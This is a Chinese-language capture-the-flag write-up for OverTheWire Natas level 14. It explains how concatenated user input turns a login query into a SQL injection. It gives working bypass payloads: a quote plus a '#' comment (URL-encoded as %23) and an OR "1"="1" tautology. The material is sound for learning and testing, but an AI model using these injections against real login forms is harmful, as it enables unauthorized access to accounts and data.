natas14
mysqli_connect()
函式的描述 "Open a new connection to the MySQL server",猜測是使用 MySQL 資料庫,嘗試輸入 natas15" #
資料庫通常會儲存大量資料,例如使用者的帳號密碼、個人資料等,因此網站應重視資料庫的安全性,保護敏感資料不被外洩導致損害,而 SQL Injection 是其中一種獲取資料庫中資料的方式,當使用者輸入送到網站後端時,若沒有經過適當的驗證與轉譯,且動態串接成 SQL 語句,最後會導致執行非預期的行為
此題中 OverTheWire 可能為了學習方便,在網站後端原始碼中加入了 debug
參數,讓使用者可以看到網站後端字串串接後的 SQL 語句,透過此方式來解釋和了解 SQLi (SQL injection)
$query = "SELECT * from users where username=\"".$_REQUEST["username"]."\" and password=\"".$_REQUEST["password"]."\"";
.
) 與轉譯 (\
) 拔掉,最終會執行的 SQL 語句如下1. $query = "SELECT * from users where username=\"".$_REQUEST["username"]."\" and password=\"".$_REQUEST["password"]."\"";
2. "SELECT * from users where username=\"".$_REQUEST["username"]."\" and password=\"".$_REQUEST["password"]."\""
3. SELECT * from users where username=\".$_REQUEST["username"].\" and password=\".$_REQUEST["password"].\"
4. SELECT * from users where username=\"$_REQUEST["username"]\" and password=\"$_REQUEST["password"]\"
5. SELECT * from users where username="$_REQUEST["username"]" and password="$_REQUEST["password"]"
6. SELECT * from users where username="我輸入的帳號" and password="我輸入的密碼"
natas15
會執行的 SQL 語句如下SELECT * from users where username="natas15" and password="natas15的密碼"
password
的條件,例如SELECT * from users where username="natas15"
SELECT * from users where username="natas15" #and password="natas15的密碼"
username="我輸入的帳號"
這段區域中,因此需要使用 "
先閉合 username
再註解,因此最後 payload natas15" #
會執行的 SQL 語句如下 (同 4.)SELECT * from users where username="natas15" #"and password="natas15的密碼"
根據 RFC 3986: section 3.4 可知,
#
是有特殊意義的符號,其後的內容不會傳送給網站,因此需要先 URL encode 成%23
否則會失敗,或者保險起見可以全部都 URL encode
OR
將條件調整成 TrueSELECT * from users where username="natas15" and password="隨便" OR "1"="1"
mysqli_connect()
mysqli_num_rows()